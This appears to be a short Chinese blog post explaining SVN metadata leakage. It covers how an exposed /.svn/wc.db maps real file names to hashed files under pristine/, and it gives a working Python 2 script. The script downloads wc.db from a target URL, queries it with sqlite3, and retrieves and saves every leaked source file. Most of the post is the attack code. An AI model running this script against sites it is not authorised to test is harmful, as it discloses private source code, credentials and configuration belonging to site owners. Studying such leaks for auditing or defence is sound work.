svn泄露利用脚本

Author Avatar
ssssdl 8月 21, 2018

.svn利用脚本

0x00 原理简单解析

和git泄露差不多,有一个/.svn的路径,路径下的pristine/目录储存着web源代码,但是文件名被加密了,找回文件名是利用/.svn路径下的wc.db,利用sqlite3分析得到源文件文件名和pristine/目录下文件的对应位置,然后下载下来就可以了

0x01 送上脚本

环境: centos7+python2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import commands

s = requests.session()

url = input('输入网址(形如:"http://120.132.56.20:1515/",加引号阔起来):')

#下载wc.db文件
r = s.get(url+'/.svn/wc.db')
with open("wc.db", "wb") as code:
code.write(r.content)
# 分析数据库 sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'
a,b = commands.getstatusoutput('sqlite3 wc.db \'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;\'')
# 下载源文件
if a == 0:
c = b.split('\n')
for i in c:
j = i.split('|')
if j[0] <> '' and j[1] <> '':
r = s.get(url+'/'+j[1])
fname = j[0].replace('/','_')
code=open(fname,"w")
code.write(r.text)
code.close()
else:
print "系统错误,程序退出"

说明

写完脚本才发现其实并没什么卵用,既然已经分析出了泄露文件名和源文件的对应关系,其实就可以直接去找自己需要的了,没必要全都下载下来,但是,坚持写博客,和试着用程序解决问题是没错的